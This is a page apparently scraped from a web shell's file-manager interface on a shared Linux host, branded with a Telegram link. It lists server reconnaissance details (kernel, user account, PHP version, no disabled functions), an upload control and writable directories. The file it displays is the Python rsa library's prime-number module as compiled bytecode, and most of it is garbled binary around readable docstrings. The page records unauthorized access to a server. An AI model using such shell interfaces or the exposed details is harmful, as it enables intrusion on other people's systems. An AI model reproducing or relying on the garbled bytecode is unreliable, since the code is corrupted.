https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/rsa/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/rsa/__pycache__/prime.cpython-310.pyc
o

��a��@s�dZddlZddlZddgZdededefdd	�Zd
edefdd�Zd
ededefdd�Z	d
edefdd�Z
dedefdd�Zdededefdd�Ze
dkr{ed�ddlZed�D]Ze��\ZZerfneddkrtertede�qZed�dSdS)z�Numerical functions related to primes.

Implementation based on the book Algorithm Design by Michael T. Goodrich and
Roberto Tamassia, 2002.
�N�getprime�are_relatively_prime�p�q�returncCs"|dkr|||}}|dks|S)zPReturns the greatest common divisor of p and q

    >>> gcd(48, 180)
    12
    r�)rrrr�+/usr/lib/python3/dist-packages/rsa/prime.py�gcds�r	�numbercCs4tj�|�}|dkrdS|dkrdS|dkrdSdS)a�Returns minimum number of rounds for Miller-Rabing primality testing,
    based on number bitsize.

    According to NIST FIPS 186-4, Appendix C, Table C.3, minimum number of
    rounds of M-R testing, using an error probability of 2 ** (-100), for
    different p, q bitsizes are:
      * p, q bitsize: 512; rounds: 7
      * p, q bitsize: 1024; rounds: 4
      * p, q bitsize: 1536; rounds: 3
    See: http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-4.pdf
    i�i�i��
)�rsa�common�bit_size)r
�bitsizerrr�get_primality_testing_rounds'sr�n�kcCs�|dkrdS|d}d}|d@s|d7}|dL}|d@rt|�D]?}tj�|d�d}t|||�}|dks<||dkr=q t|d�D]}t|d|�}|dkrSdS||dkr[nqCdSq dS)a.Calculates whether n is composite (which is always correct) or prime
    (which theoretically is incorrect with error probability 4**-k), by
    applying Miller-Rabin primality testing.

    For reference and implementation example, see:
    https://en.wikipedia.org/wiki/Miller%E2%80%93Rabin_primality_test

    :param n: Integer to be tested for primality.
    :type n: int
    :param k: Number of rounds (witnesses) of Miller-Rabin testing.
    :type k: int
    :return: False if the number is composite, True if it's probably prime.
    :rtype: bool
    �F�rrT)�ranger�randnum�randint�pow)rr�d�r�_�a�xrrr�miller_rabin_primality_testingAs.���r!cCs2|dkr|dvS|d@sdSt|�}t||d�S)z�Returns True if the number is prime, and False otherwise.

    >>> is_prime(2)
    True
    >>> is_prime(42)
    False
    >>> is_prime(41)
    True
    r>rr�r
rF)rr!)r
rrrr�is_primevsr#�nbitscCs(|dksJ�	tj�|�}t|�r|Sq)aReturns a prime number that can be stored in 'nbits' bits.

    >>> p = getprime(128)
    >>> is_prime(p-1)
    False
    >>> is_prime(p)
    True
    >>> is_prime(p+1)
    False

    >>> from rsa import common
    >>> common.bit_size(p) == 128
    True
    r)rr�read_random_odd_intr#)r$�integerrrrr�s�r�bcCst||�}|dkS)z�Returns True if a and b are relatively prime, and False if they
    are not.

    >>> are_relatively_prime(2, 3)
    True
    >>> are_relatively_prime(2, 4)
    False
    r)r	)rr'rrrrr�s

�__main__z'Running doctests 1000x or until failurei��dz%i timesz
Doctests done)�__doc__�
rsa.commonr�rsa.randnum�__all__�intr	r�boolr!r#rr�__name__�print�doctestr�count�testmod�failures�testsrrrr�<module>s,5��

https://t.me/RX1948 - 2025